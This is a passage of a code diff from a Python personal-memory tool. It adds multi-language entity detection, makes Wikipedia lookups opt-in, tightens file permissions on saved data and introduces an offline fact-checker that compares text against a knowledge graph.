state file is *never* written inside the user's diary directory.
"""
state_root = Path(os.path.expanduser("~")) / ".mempalace" / "state"
state_root.mkdir(parents=True, exist_ok=True)
key = hashlib.sha256(f"{palace_path}|{diary_dir}".encode()).hexdigest()[:24]
return state_root / f"diary_ingest_{key}.json"
def _split_entries(text):
"""Split diary text into (header, body) pairs per ## entry."""
parts = DIARY_ENTRY_RE.split(text)
headers = DIARY_ENTRY_RE.findall(text)
entries = []
for i, header in enumerate(headers):
body = parts[i + 1] if i + 1 < len(parts) else ""
entries.append((header.strip(), body.strip()))
return entries
def _diary_drawer_id(wing: str, date_str: str) -> str:
"""Stable, wing-scoped drawer ID. Two diaries (e.g. 'work' vs 'personal')
sharing the same date never collide."""
suffix = hashlib.sha256(f"{wing}|{date_str}".encode()).hexdigest()[:24]
return f"drawer_diary_{suffix}"
def _diary_closet_id_base(wing: str, date_str: str) -> str:
suffix = hashlib.sha256(f"{wing}|{date_str}".encode()).hexdigest()[:24]
return f"closet_diary_{suffix}"
def ingest_diaries(
diary_dir,
palace_path,
wing="diary",
force=False,
):
"""Ingest daily summary files into the palace.
Each date file gets ONE drawer keyed by ``(wing, date)`` and closets that
pack topics atomically up to ``CLOSET_CHAR_LIMIT``. ``force=True`` rebuilds
every entry's closets from scratch (purging stale ones); the default
incremental mode only processes entries appended since the last run.
"""
diary_dir = Path(diary_dir).expanduser().resolve()
if not diary_dir.exists():
print(f"Diary directory not found: {diary_dir}")
return {"days_updated": 0, "closets_created": 0}
diary_files = sorted(diary_dir.glob("*.md"))
if not diary_files:
print(f"No .md files in {diary_dir}")
return {"days_updated": 0, "closets_created": 0}
state_file = _state_file_for(str(palace_path), diary_dir)
if force or not state_file.exists():
state: dict = {}
else:
try:
state = json.loads(state_file.read_text())
except Exception:
state = {}
drawers_col = get_collection(palace_path)
closets_col = get_closets_collection(palace_path)
days_updated = 0
closets_created = 0
for diary_path in diary_files:
text = diary_path.read_text(encoding="utf-8", errors="replace")
if len(text.strip()) < 50:
continue
date_match = re.match(r"(\d{4}-\d{2}-\d{2})", diary_path.stem)
if not date_match:
continue
date_str = date_match.group(1)
# Skip if content hasn't changed
state_key = f"{wing}|{diary_path.name}"
prev_size = state.get(state_key, {}).get("size", 0)
curr_size = len(text)
if curr_size == prev_size and not force:
continue
now_iso = datetime.now(timezone.utc).isoformat()
drawer_id = _diary_drawer_id(wing, date_str)
entities = _extract_entities_for_metadata(text)
source_file = str(diary_path)
# Serialize per source — two terminals running ingest at once must
# not interleave the upsert + closet-rebuild.
with mine_lock(source_file):
drawer_meta = {
"date": date_str,
"wing": wing,
"room": "daily",
"source_file": source_file,
"source_session": "daily_diary",
"filed_at": now_iso,
}
if entities:
drawer_meta["entities"] = entities
drawers_col.upsert(
documents=[text],
ids=[drawer_id],
metadatas=[drawer_meta],
)
entries = _split_entries(text)
prev_entry_count = state.get(state_key, {}).get("entry_count", 0)
new_entries = entries if force else entries[prev_entry_count:]
if new_entries:
all_lines = []
for header, body in new_entries:
entry_text = f"{header}\n{body}"
entry_lines = build_closet_lines(
source_file, [drawer_id], entry_text, wing, "daily"
)
all_lines.extend(entry_lines)
if all_lines:
closet_id_base = _diary_closet_id_base(wing, date_str)
closet_meta = {
"date": date_str,
"wing": wing,
"room": "daily",
"source_file": source_file,
"filed_at": now_iso,
}
if entities:
closet_meta["entities"] = entities
# On a force rebuild, wipe any leftover numbered closets
# from a longer prior run before re-writing.
if force:
purge_file_closets(closets_col, source_file)
n = upsert_closet_lines(closets_col, closet_id_base, all_lines, closet_meta)
closets_created += n
state[state_key] = {
"size": curr_size,
"entry_count": len(entries),
"ingested_at": now_iso,
}
days_updated += 1
state_file.write_text(json.dumps(state, indent=2))
if days_updated:
print(f"Diary: {days_updated} days updated, {closets_created} new closets")
return {"days_updated": days_updated, "closets_created": closets_created}
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="Ingest daily summaries into the palace")
parser.add_argument("--dir", required=True, help="Path to daily_summaries directory")
parser.add_argument("--palace", default=os.path.expanduser("~/.mempalace/palace"))
parser.add_argument("--wing", default="diary")
parser.add_argument("--force", action="store_true")
args = parser.parse_args()
ingest_diaries(args.dir, args.palace, wing=args.wing, force=args.force)
+152 -415
View File
@@ -9,391 +9,70 @@ Two-pass approach:
Used by mempalace init before mining begins.
The confirmed entity map feeds the miner as the taxonomy.
Multi-language support:
All lexical patterns (person verbs, pronouns, dialogue markers, project
verbs, stopwords, and the candidate-extraction character class) live in
the ``entity`` section of ``mempalace/i18n/<lang>.json``. Every public
function accepts a ``languages`` tuple and applies the union of the
requested locales' patterns. The default is ``("en",)`` — existing
English-only callers behave exactly as before.
To add a new language: add an ``entity`` section to that locale's JSON.
No code changes required.
Usage:
from entity_detector import detect_entities, confirm_entities
candidates = detect_entities(file_paths)
from mempalace.entity_detector import detect_entities, confirm_entities
candidates = detect_entities(file_paths) # English only
candidates = detect_entities(paths, languages=("en", "pt-br"))
confirmed = confirm_entities(candidates) # interactive review
"""
import re
import os
import functools
from pathlib import Path
from collections import defaultdict
from mempalace.i18n import get_entity_patterns
# ==================== SIGNAL PATTERNS ====================
# Person signals — things people do
PERSON_VERB_PATTERNS = [
r"\b{name}\s+said\b",
r"\b{name}\s+asked\b",
r"\b{name}\s+told\b",
r"\b{name}\s+replied\b",
r"\b{name}\s+laughed\b",
r"\b{name}\s+smiled\b",
r"\b{name}\s+cried\b",
r"\b{name}\s+felt\b",
r"\b{name}\s+thinks?\b",
r"\b{name}\s+wants?\b",
r"\b{name}\s+loves?\b",
r"\b{name}\s+hates?\b",
r"\b{name}\s+knows?\b",
r"\b{name}\s+decided\b",
r"\b{name}\s+pushed\b",
r"\b{name}\s+wrote\b",
r"\bhey\s+{name}\b",
r"\bthanks?\s+{name}\b",
r"\bhi\s+{name}\b",
r"\bdear\s+{name}\b",
]
# ==================== LANGUAGE-AWARE PATTERN LOADING ====================
# Person signals — pronouns resolving nearby
PRONOUN_PATTERNS = [
r"\bshe\b",
r"\bher\b",
r"\bhers\b",
r"\bhe\b",
r"\bhim\b",
r"\bhis\b",
r"\bthey\b",
r"\bthem\b",
r"\btheir\b",
]
# Person signals — dialogue markers
DIALOGUE_PATTERNS = [
r"^>\s*{name}[:\s]", # > Speaker: ...
r"^{name}:\s", # Speaker: ...
r"^\[{name}\]", # [Speaker]
r'"{name}\s+said',
]
def _normalize_langs(languages) -> tuple:
"""Coerce a language input into a non-empty hashable tuple."""
if not languages:
return ("en",)
if isinstance(languages, str):
return (languages,)
return tuple(languages)
# Project signals — things projects have/do
PROJECT_VERB_PATTERNS = [
r"\bbuilding\s+{name}\b",
r"\bbuilt\s+{name}\b",
r"\bship(?:ping|ped)?\s+{name}\b",
r"\blaunch(?:ing|ed)?\s+{name}\b",
r"\bdeploy(?:ing|ed)?\s+{name}\b",
r"\binstall(?:ing|ed)?\s+{name}\b",
r"\bthe\s+{name}\s+architecture\b",
r"\bthe\s+{name}\s+pipeline\b",
r"\bthe\s+{name}\s+system\b",
r"\bthe\s+{name}\s+repo\b",
r"\b{name}\s+v\d+\b", # MemPal v2
r"\b{name}\.py\b", # mempalace.py
r"\b{name}-core\b", # mempal-core (hyphen only, not underscore)
r"\b{name}-local\b",
r"\bimport\s+{name}\b",
r"\bpip\s+install\s+{name}\b",
]
# Words that are almost certainly NOT entities
STOPWORDS = {
"the",
"a",
"an",
"and",
"or",
"but",
"in",
"on",
"at",
"to",
"for",
"of",
"with",
"by",
"from",
"as",
"is",
"was",
"are",
"were",
"be",
"been",
"being",
"have",
"has",
"had",
"do",
"does",
"did",
"will",
"would",
"could",
"should",
"may",
"might",
"must",
"shall",
"can",
"this",
"that",
"these",
"those",
"it",
"its",
"they",
"them",
"their",
"we",
"our",
"you",
"your",
"i",
"my",
"me",
"he",
"she",
"his",
"her",
"who",
"what",
"when",
"where",
"why",
"how",
"which",
"if",
"then",
"so",
"not",
"no",
"yes",
"ok",
"okay",
"just",
"very",
"really",
"also",
"already",
"still",
"even",
"only",
"here",
"there",
"now",
"then",
"too",
"up",
"out",
"about",
"like",
"use",
"get",
"got",
"make",
"made",
"take",
"put",
"come",
"go",
"see",
"know",
"think",
"true",
"false",
"none",
"null",
"new",
"old",
"all",
"any",
"some",
"true",
"false",
"return",
"print",
"def",
"class",
"import",
"from",
# Common capitalized words in prose that aren't entities
"step",
"usage",
"run",
"check",
"find",
"add",
"get",
"set",
"list",
"args",
"dict",
"str",
"int",
"bool",
"path",
"file",
"type",
"name",
"note",
"example",
"option",
"result",
"error",
"warning",
"info",
"every",
"each",
"more",
"less",
"next",
"last",
"first",
"second",
"stack",
"layer",
"mode",
"test",
"stop",
"start",
"copy",
"move",
"source",
"target",
"output",
"input",
"data",
"item",
"key",
"value",
"returns",
"raises",
"yields",
"none",
"self",
"cls",
"kwargs",
# Common sentence-starting / abstract words that aren't entities
"world",
"well",
"want",
"topic",
"choose",
"social",
"cars",
"phones",
"healthcare",
"ex",
"machina",
"deus",
"human",
"humans",
"people",
"things",
"something",
"nothing",
"everything",
"anything",
"someone",
"everyone",
"anyone",
"way",
"time",
"day",
"life",
"place",
"thing",
"part",
"kind",
"sort",
"case",
"point",
"idea",
"fact",
"sense",
"question",
"answer",
"reason",
"number",
"version",
"system",
# Greetings and filler words at sentence starts
"hey",
"hi",
"hello",
"thanks",
"thank",
"right",
"let",
"ok",
# UI/action words that appear in how-to content
"click",
"hit",
"press",
"tap",
"drag",
"drop",
"open",
"close",
"save",
"load",
"launch",
"install",
"download",
"upload",
"scroll",
"select",
"enter",
"submit",
"cancel",
"confirm",
"delete",
"copy",
"paste",
"type",
"write",
"read",
"search",
"find",
"show",
"hide",
# Common filesystem/technical capitalized words
"desktop",
"documents",
"downloads",
"users",
"home",
"library",
"applications",
"system",
"preferences",
"settings",
"terminal",
# Abstract/topic words
"actor",
"vector",
"remote",
"control",
"duration",
"fetch",
# Abstract concepts that appear as subjects but aren't entities
"agents",
"tools",
"others",
"guards",
"ethics",
"regulation",
"learning",
"thinking",
"memory",
"language",
"intelligence",
"technology",
"society",
"culture",
"future",
"history",
"science",
"model",
"models",
"network",
"networks",
"training",
"inference",
}
@functools.lru_cache(maxsize=32)
def _get_stopwords(languages: tuple) -> frozenset:
"""Return the union of stopwords across the given languages."""
patterns = get_entity_patterns(languages)
return frozenset(patterns["stopwords"])
# ==================== BACKWARD-COMPAT MODULE CONSTANTS ====================
#
# These mirror the old module-level constants so existing imports keep working.
# They reflect the English defaults and are populated at import time from
# ``mempalace/i18n/en.json``. Callers that need multi-language behavior should
# pass the ``languages`` parameter to the public functions below.
_EN = get_entity_patterns(("en",))
PERSON_VERB_PATTERNS = list(_EN["person_verb_patterns"])
PRONOUN_PATTERNS = list(_EN["pronoun_patterns"])
PRONOUN_RE = re.compile("|".join(PRONOUN_PATTERNS), re.IGNORECASE) if PRONOUN_PATTERNS else None
DIALOGUE_PATTERNS = list(_EN["dialogue_patterns"])
PROJECT_VERB_PATTERNS = list(_EN["project_verb_patterns"])
STOPWORDS = set(_EN["stopwords"])
# ==================== EXTENSION POINTS (not language-scoped) ====================
# For entity detection — prose only, no code files
# Code files have too many capitalized names (classes, functions) that aren't entities
@@ -440,55 +119,107 @@ SKIP_DIRS = {
# ==================== CANDIDATE EXTRACTION ====================
def extract_candidates(text: str) -> dict:
def extract_candidates(text: str, languages=("en",)) -> dict:
"""
Extract all capitalized proper noun candidates from text.
Returns {name: frequency} for names appearing 3+ times.
"""
# Find all capitalized words (not at sentence start — harder, so we use frequency as filter)
raw = re.findall(r"\b([A-Z][a-z]{1,19})\b", text)
counts = defaultdict(int)
for word in raw:
if word.lower() not in STOPWORDS and len(word) > 1:
Each language contributes its own character-class pattern (e.g. ASCII
for English, Latin+diacritics for pt-br, Cyrillic for Russian,
Devanagari for Hindi). Matches from all languages are unioned.
"""
langs = _normalize_langs(languages)
patterns = get_entity_patterns(langs)
stopwords = _get_stopwords(langs)
counts: defaultdict = defaultdict(int)
# Single-word candidates — one pre-wrapped pattern per language
for wrapped_pat in patterns["candidate_patterns"]:
try:
rx = re.compile(wrapped_pat)
except re.error:
continue
for word in rx.findall(text):
if word.lower() in stopwords:
continue
if len(word) < 2:
continue
counts[word] += 1
# Also find multi-word proper nouns (e.g. "Memory Palace", "Claude Code")
multi = re.findall(r"\b([A-Z][a-z]+(?:\s+[A-Z][a-z]+)+)\b", text)
for phrase in multi:
if not any(w.lower() in STOPWORDS for w in phrase.split()):
# Multi-word candidates — one pre-wrapped pattern per language
for wrapped_pat in patterns["multi_word_patterns"]:
try:
rx = re.compile(wrapped_pat)
except re.error:
continue
for phrase in rx.findall(text):
if any(w.lower() in stopwords for w in phrase.split()):
continue
counts[phrase] += 1
# Filter: must appear at least 3 times to be a candidate
return {name: count for name, count in counts.items() if count >= 3}
# ==================== SIGNAL SCORING ====================
def _build_patterns(name: str) -> dict:
"""Pre-compile all regex patterns for a single entity name."""
@functools.lru_cache(maxsize=256)
def _build_patterns(name: str, languages: tuple = ("en",)) -> dict:
"""Pre-compile all regex patterns for a single entity name, per language set."""
n = re.escape(name)
langs = _normalize_langs(languages)
sources = get_entity_patterns(langs)
def _compile_each(raw_patterns, flags=re.IGNORECASE):
compiled = []
for p in raw_patterns:
try:
compiled.append(re.compile(p.format(name=n), flags))
except (re.error, KeyError, IndexError):
continue
return compiled
direct_sources = sources.get("direct_address_patterns") or []
direct_compiled = []
for raw in direct_sources:
try:
direct_compiled.append(re.compile(raw.format(name=n), re.IGNORECASE))
except (re.error, KeyError, IndexError):
continue
return {
"dialogue": [
re.compile(p.format(name=n), re.MULTILINE | re.IGNORECASE) for p in DIALOGUE_PATTERNS
],
"person_verbs": [re.compile(p.format(name=n), re.IGNORECASE) for p in PERSON_VERB_PATTERNS],
"project_verbs": [
re.compile(p.format(name=n), re.IGNORECASE) for p in PROJECT_VERB_PATTERNS
],
"direct": re.compile(rf"\bhey\s+{n}\b|\bthanks?\s+{n}\b|\bhi\s+{n}\b", re.IGNORECASE),
"dialogue": _compile_each(sources["dialogue_patterns"], re.MULTILINE | re.IGNORECASE),
"person_verbs": _compile_each(sources["person_verb_patterns"]),
"project_verbs": _compile_each(sources["project_verb_patterns"]),
"direct": direct_compiled,
"versioned": re.compile(rf"\b{n}[-v]\w+", re.IGNORECASE),
"code_ref": re.compile(rf"\b{n}\.(py|js|ts|yaml|yml|json|sh)\b", re.IGNORECASE),
}
def score_entity(name: str, text: str, lines: list) -> dict:
@functools.lru_cache(maxsize=32)
def _pronoun_re(languages: tuple):
"""Compile a combined pronoun regex for the given languages."""
langs = _normalize_langs(languages)
patterns = get_entity_patterns(langs)
pronouns = patterns.get("pronoun_patterns") or []
if not pronouns:
return None
try:
return re.compile("|".join(pronouns), re.IGNORECASE)
except re.error:
return None
def score_entity(name: str, text: str, lines: list, languages=("en",)) -> dict:
"""
Score a candidate entity as person vs project.
Returns scores and the signals that fired.
"""
patterns = _build_patterns(name)
langs = _normalize_langs(languages)
patterns = _build_patterns(name, langs)
pronoun_re = _pronoun_re(langs)
person_score = 0
project_score = 0
person_signals = []
@@ -511,24 +242,25 @@ def score_entity(name: str, text: str, lines: list) -> dict:
person_signals.append(f"'{name} ...' action ({matches}x)")
# Pronoun proximity — pronouns within 3 lines of the name
name_lower = name.lower()
name_line_indices = [i for i, line in enumerate(lines) if name_lower in line.lower()]
pronoun_hits = 0
for idx in name_line_indices:
window_text = " ".join(lines[max(0, idx - 2) : idx + 3]).lower()
for pronoun_pattern in PRONOUN_PATTERNS:
if re.search(pronoun_pattern, window_text):
if pronoun_re is not None:
name_lower = name.lower()
name_line_indices = [i for i, line in enumerate(lines) if name_lower in line.lower()]
pronoun_hits = 0
for idx in name_line_indices:
window_text = " ".join(lines[max(0, idx - 2) : idx + 3])
if pronoun_re.search(window_text):
pronoun_hits += 1
break
if pronoun_hits > 0:
person_score += pronoun_hits * 2
person_signals.append(f"pronoun nearby ({pronoun_hits}x)")
if pronoun_hits > 0:
person_score += pronoun_hits * 2
person_signals.append(f"pronoun nearby ({pronoun_hits}x)")
# Direct address
direct = len(patterns["direct"].findall(text))
if direct > 0:
person_score += direct * 4
person_signals.append(f"addressed directly ({direct}x)")
direct_hits = 0
for rx in patterns["direct"]:
direct_hits += len(rx.findall(text))
if direct_hits > 0:
person_score += direct_hits * 4
person_signals.append(f"addressed directly ({direct_hits}x)")
# --- Project signals ---
@@ -629,13 +361,15 @@ def classify_entity(name: str, frequency: int, scores: dict) -> dict:
# ==================== MAIN DETECT ====================
def detect_entities(file_paths: list, max_files: int = 10) -> dict:
def detect_entities(file_paths: list, max_files: int = 10, languages=("en",)) -> dict:
"""
Scan files and detect entity candidates.
Args:
file_paths: List of Path objects to scan
max_files: Max files to read (for speed)
languages: Tuple of language codes whose entity patterns should be
applied (union). Defaults to ``("en",)``.
Returns:
{
@@ -644,6 +378,8 @@ def detect_entities(file_paths: list, max_files: int = 10) -> dict:
"uncertain":[...entity dicts...],
}
"""
langs = _normalize_langs(languages)
# Collect text from files
all_text = []
all_lines = []
@@ -666,7 +402,7 @@ def detect_entities(file_paths: list, max_files: int = 10) -> dict:
combined_text = "\n".join(all_text)
# Extract candidates
candidates = extract_candidates(combined_text)
candidates = extract_candidates(combined_text, languages=langs)
if not candidates:
return {"people": [], "projects": [], "uncertain": []}
@@ -677,7 +413,7 @@ def detect_entities(file_paths: list, max_files: int = 10) -> dict:
uncertain = []
for name, frequency in sorted(candidates.items(), key=lambda x: x[1], reverse=True):
scores = score_entity(name, combined_text, all_lines)
scores = score_entity(name, combined_text, all_lines, languages=langs)
entity = classify_entity(name, frequency, scores)
if entity["type"] == "person":
@@ -841,13 +577,14 @@ if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python entity_detector.py <directory>")
print("Usage: python entity_detector.py <directory> [lang1,lang2,...]")
sys.exit(1)
project_dir = sys.argv[1]
print(f"Scanning: {project_dir}")
langs = tuple(sys.argv[2].split(",")) if len(sys.argv) >= 3 else ("en",)
print(f"Scanning: {project_dir} (languages: {', '.join(langs)})")
files = scan_for_detection(project_dir)
print(f"Reading {len(files)} files...")
detected = detect_entities(files)
detected = detect_entities(files, languages=langs)
confirmed = confirm_entities(detected)
print("Confirmed entities:", confirmed)
+59 -17
View File
@@ -178,6 +178,12 @@ def _wikipedia_lookup(word: str) -> dict:
Look up a word via Wikipedia REST API.
Returns inferred type (person/place/concept/unknown) + confidence + summary.
Free, no API key, handles disambiguation pages.
**Privacy warning:** This function makes an outbound HTTPS request to
en.wikipedia.org, sending the queried word over the network. It should
only be called when the caller has explicitly opted in via
``allow_network=True`` in :meth:`EntityRegistry.research`. The default
behaviour of ``research()`` is local-only (no network calls).
"""
try:
url = f"https://en.wikipedia.org/api/rest_v1/page/summary/{urllib.parse.quote(word)}"
@@ -244,13 +250,14 @@ def _wikipedia_lookup(word: str) -> dict:
except urllib.error.HTTPError as e:
if e.code == 404:
# Not in Wikipedia — strong signal it's a proper noun (unusual name, nickname)
# Not in Wikipedia — this tells us nothing definitive about
# the word. Return "unknown" so the caller can decide.
return {
"inferred_type": "person",
"confidence": 0.70,
"inferred_type": "unknown",
"confidence": 0.3,
"wiki_summary": None,
"wiki_title": None,
"note": "not found in Wikipedia — likely a proper noun or unusual name",
"note": "not found in Wikipedia",
}
return {"inferred_type": "unknown", "confidence": 0.0, "wiki_summary": None}
except (urllib.error.URLError, OSError, json.JSONDecodeError, KeyError):
@@ -301,7 +308,7 @@ class EntityRegistry:
path = (Path(config_dir) / "entity_registry.json") if config_dir else cls.DEFAULT_PATH
if path.exists():
try:
data = json.loads(path.read_text())
data = json.loads(path.read_text(encoding="utf-8"))
return cls(data, path)
except (json.JSONDecodeError, OSError):
pass
@@ -309,7 +316,15 @@ class EntityRegistry:
def save(self):
self._path.parent.mkdir(parents=True, exist_ok=True)
try:
self._path.parent.chmod(0o700)
except (OSError, NotImplementedError):
pass
self._path.write_text(json.dumps(self._data, indent=2), encoding="utf-8")
try:
self._path.chmod(0o600)
except (OSError, NotImplementedError):
pass
@staticmethod
def _empty() -> dict:
@@ -502,20 +517,41 @@ class EntityRegistry:
# ── Research unknown words ───────────────────────────────────────────────
def research(self, word: str, auto_confirm: bool = False) -> dict:
def research(self, word: str, auto_confirm: bool = False, allow_network: bool = False) -> dict:
"""
Research an unknown word via Wikipedia.
Caches result. If auto_confirm=False, marks as unconfirmed (needs user review).
Returns the lookup result.
Research an unknown word.
By default this is **local-only**: it checks the wiki cache and
returns ``"unknown"`` for uncached words. Pass
``allow_network=True`` to explicitly opt in to an outbound
Wikipedia lookup. This design honours the project's
*local-first, zero API* and *privacy by architecture* principles
— no data leaves the machine unless the caller requests it.
Caches result. If *auto_confirm* is ``False``, marks the entry
as unconfirmed (needs user review).
"""
# Already cached?
cache = self._data.setdefault("wiki_cache", {})
# Check cache (read-only — no mutation when allow_network is False)
cache = self._data.get("wiki_cache", {})
if word in cache:
return cache[word]
if not allow_network:
return {
"inferred_type": "unknown",
"confidence": 0.0,
"wiki_summary": None,
"wiki_title": None,
"word": word,
"confirmed": False,
"note": "network lookup disabled — pass allow_network=True to query Wikipedia",
}
# Network path — ensure wiki_cache key exists before writing
cache = self._data.setdefault("wiki_cache", {})
result = _wikipedia_lookup(word)
result["word"] = word
result["confirmed"] = auto_confirm
result.setdefault("word", word)
result.setdefault("confirmed", auto_confirm)
cache[word] = result
self.save()
@@ -547,15 +583,19 @@ class EntityRegistry:
# ── Learn from sessions ──────────────────────────────────────────────────
def learn_from_text(self, text: str, min_confidence: float = 0.75) -> list:
def learn_from_text(self, text: str, min_confidence: float = 0.75, languages=("en",)) -> list:
"""
Scan session text for new entity candidates.
Returns list of newly discovered candidates for review.
``languages`` is forwarded to entity detection — pass the user's
configured ``MempalaceConfig().entity_languages`` to match the
locales used at ``mempalace init`` time.
"""
from mempalace.entity_detector import extract_candidates, score_entity, classify_entity
lines = text.splitlines()
candidates = extract_candidates(text)
candidates = extract_candidates(text, languages=languages)
new_candidates = []
for name, frequency in candidates.items():
@@ -563,7 +603,7 @@ class EntityRegistry:
if name in self.people or name in self.projects:
continue
scores = score_entity(name, text, lines)
scores = score_entity(name, text, lines, languages=languages)
entity = classify_entity(name, frequency, scores)
if entity["type"] == "person" and entity["confidence"] >= min_confidence:
@@ -616,7 +656,9 @@ class EntityRegistry:
Find capitalized words in query that aren't in registry or common words.
These are candidates for Wikipedia research.
"""
candidates = re.findall(r"\b[A-Z][a-z]{2,15}\b", query)
from .palace import _candidate_entity_words
candidates = _candidate_entity_words(query)
unknown = []
for word in set(candidates):
if word.lower() in COMMON_ENGLISH_WORDS:
+13 -1
View File
@@ -49,9 +49,15 @@ def export_palace(palace_path: str, output_dir: str, format: str = "markdown") -
return {"wings": 0, "rooms": 0, "drawers": 0}
os.makedirs(output_dir, exist_ok=True)
try:
os.chmod(output_dir, 0o700)
except (OSError, NotImplementedError):
pass
# Track which room files have been opened (so we can append vs overwrite)
opened_rooms: set[tuple[str, str]] = set()
# Track which wing directories have been created and chmoded
created_wing_dirs: set[str] = set()
# Track stats per wing: {wing: {room: count}}
wing_stats: dict[str, dict[str, int]] = defaultdict(lambda: defaultdict(int))
total_drawers = 0
@@ -82,7 +88,13 @@ def export_palace(palace_path: str, output_dir: str, format: str = "markdown") -
for wing, rooms in batch_grouped.items():
safe_wing = _safe_path_component(wing)
wing_dir = os.path.join(output_dir, safe_wing)
os.makedirs(wing_dir, exist_ok=True)
if wing_dir not in created_wing_dirs:
os.makedirs(wing_dir, exist_ok=True)
try:
os.chmod(wing_dir, 0o700)
except (OSError, NotImplementedError):
pass
created_wing_dirs.add(wing_dir)
for room, drawers in rooms.items():
safe_room = _safe_path_component(room)
+335
View File
@@ -0,0 +1,335 @@
"""
fact_checker.py — Verify text against known facts in the palace.
Checks AI responses, diary entries, and new content against the entity
registry and knowledge graph for three classes of issue:
* similar_name — text mentions a name that's one/two edits
away from *another* registered name, raising
the possibility of a typo or mix-up.
* relationship_mismatch — text asserts a role between two entities
(e.g. "Bob is Alice's brother") while the KG
records a *different* current role for the
same subject/object pair.
* stale_fact — text asserts a fact that the KG marks closed
(``valid_to`` in the past).
Purely offline. Inputs: entity_registry JSON + KG SQLite. No network.
Usage:
from mempalace.fact_checker import check_text
issues = check_text("Bob is Alice's brother", palace_path)
# CLI
python -m mempalace.fact_checker "Bob is Alice's brother" \\
--palace ~/.mempalace/palace
"""
from __future__ import annotations
import os
import re
from datetime import datetime, timezone
# Share miner's mtime-cached registry loader so we don't double-read
# ~/.mempalace/known_entities.json on every check_text call.
from .miner import _load_known_entities_raw
# Narrow detection patterns — parse "X is Y's Z" and "X's Z is Y".
# Names are captured greedily as word sequences (letters + optional
# capitalized follow-ons) so simple multi-token names still work.
# Relationship words are constrained to sane lengths to avoid matching
# arbitrary filler.
_RELATIONSHIP_PATTERNS = [
# "Bob is Alice's brother" → subject=Bob, possessor=Alice, role=brother
re.compile(r"\b([A-Z][\w-]+)\s+is\s+([A-Z][\w-]+)'s\s+([a-z]{3,20})\b"),
# "Alice's brother is Bob" → possessor=Alice, role=brother, subject=Bob
re.compile(r"\b([A-Z][\w-]+)'s\s+([a-z]{3,20})\s+is\s+([A-Z][\w-]+)\b"),
]
def check_text(text: str, palace_path: str = None, config=None) -> list:
"""Return a list of issues detected in ``text``.
Empty list means "no contradictions found" — absence of evidence, not
evidence of absence. The detector is deliberately conservative:
every issue is anchored to a specific KG fact or registry entry.
"""
if config is None:
from .config import MempalaceConfig
config = MempalaceConfig()
if palace_path is None:
palace_path = config.palace_path
if not text:
return []
issues: list = []
entity_names_raw = _load_known_entities_raw()
issues.extend(_check_entity_confusion(text, entity_names_raw))
issues.extend(_check_kg_contradictions(text, palace_path))
return issues
# ── entity-name confusion ────────────────────────────────────────────
def _flatten_names(entity_names_raw: dict) -> set:
"""Flatten a ``{category: [names]}`` or ``{category: {name: meta}}``
registry into a set of names."""
flat: set = set()
for cat in entity_names_raw.values():
if isinstance(cat, list):
flat.update(str(n) for n in cat if n)
elif isinstance(cat, dict):
flat.update(str(k) for k in cat.keys() if k)
return flat
def _check_entity_confusion(text: str, entity_names_raw: dict) -> list:
"""Flag names mentioned in the text that are edit-distance ≤ 2 from
a *different* registered name — a common typo / mix-up pattern.
Performance note: the original O(n²) pairwise scan over the full
registry is gone. We first identify which names actually appear in
the text, then only compute edit distance between *mentioned* names
and the rest of the registry. This makes the cost O(m × n) where m
is the handful of names in the text, not the full registry.
"""
all_names = _flatten_names(entity_names_raw)
if not all_names:
return []
# Which names from the registry actually appear in the text?
mentioned: list = []
for name in all_names:
if re.search(r"\b" + re.escape(name) + r"\b", text, re.IGNORECASE):
mentioned.append(name)
if not mentioned:
return []
issues: list = []
seen_pairs: set = set()
for name_a in mentioned:
a_lower = name_a.lower()
for name_b in all_names:
if name_b == name_a:
continue
# Dedupe by unordered pair so we don't double-report.
pair_key = tuple(sorted((name_a.lower(), name_b.lower())))
if pair_key in seen_pairs:
continue
# Only flag when name_b is a *different* registry entry that
# was NOT mentioned — otherwise both names in the text is
# just the user writing about two people.
if name_b in mentioned:
seen_pairs.add(pair_key)
continue
distance = _edit_distance(a_lower, name_b.lower())
if 0 < distance <= 2:
issues.append(
{
"type": "similar_name",
"detail": (
f"'{name_a}' mentioned — did you mean "
f"'{name_b}'? (edit distance {distance})"
),
"names": [name_a, name_b],
"distance": distance,
}
)
seen_pairs.add(pair_key)
return issues
# ── KG contradictions ────────────────────────────────────────────────
def _extract_claims(text: str) -> list:
"""Yield structured (subject, predicate, object) claims from ``text``.
The two supported surface forms are "X is Y's Z" and "X's Z is Y",
both of which resolve to the triple ``(X, Z, Y)`` — ``X`` has role
``Z`` with respect to ``Y``. Matches are case-preserving for the
entity names (KG lookup is case-insensitive on normalized IDs).
"""
claims: list = []
for pat in _RELATIONSHIP_PATTERNS:
for match in pat.finditer(text):
groups = match.groups()
if pat is _RELATIONSHIP_PATTERNS[0]:
subject, possessor, role = groups[0], groups[1], groups[2]
else:
possessor, role, subject = groups[0], groups[1], groups[2]
claims.append(
{
"subject": subject,
"predicate": role.lower(),
"object": possessor,
"span": match.group(0),
}
)
return claims
def _check_kg_contradictions(text: str, palace_path: str) -> list:
"""Compare each claim in ``text`` against the KG.
For every claim ``(subject, predicate, object)`` parsed from the
text, look up the subject's current KG triples:
* ``relationship_mismatch`` fires when the KG records a fact about
the same ``(subject, object)`` pair but with a *different*
predicate — e.g. text says "brother" but KG says "husband".
* ``stale_fact`` fires when the KG has the exact ``(subject,
predicate, object)`` triple but its ``valid_to`` is in the past,
meaning the claim is no longer current.
"""
claims = _extract_claims(text)
if not claims:
return []
try:
from .knowledge_graph import KnowledgeGraph
# KG lives alongside the palace collection; mcp_server uses the
# same convention (see _kg init). Pass ``db_path`` — the previous
# code passed a nonexistent ``palace_path`` kwarg which raised
# TypeError, silently swallowed by the outer except and rendered
# the entire KG-check path dead.
kg = KnowledgeGraph(db_path=os.path.join(palace_path, "knowledge_graph.sqlite3"))
except Exception:
# KG unavailable (brand-new palace, corrupted DB, etc.) — skip.
return []
issues: list = []
for claim in claims:
subject = claim["subject"]
claim_pred = claim["predicate"]
claim_obj = claim["object"]
try:
facts = kg.query_entity(subject, direction="outgoing")
except Exception:
continue
if not facts:
continue
current_facts = [f for f in facts if f.get("current")]
# Mismatch: KG fact about same (subject, object) pair but different predicate.
for fact in current_facts:
if not _objects_match(fact.get("object"), claim_obj):
continue
kg_pred = (fact.get("predicate") or "").lower()
if kg_pred and kg_pred != claim_pred:
issues.append(
{
"type": "relationship_mismatch",
"detail": (
f"Text says '{claim['span']}' but KG records "
f"{subject} {kg_pred} {fact.get('object')}"
),
"entity": subject,
"claim": {
"predicate": claim_pred,
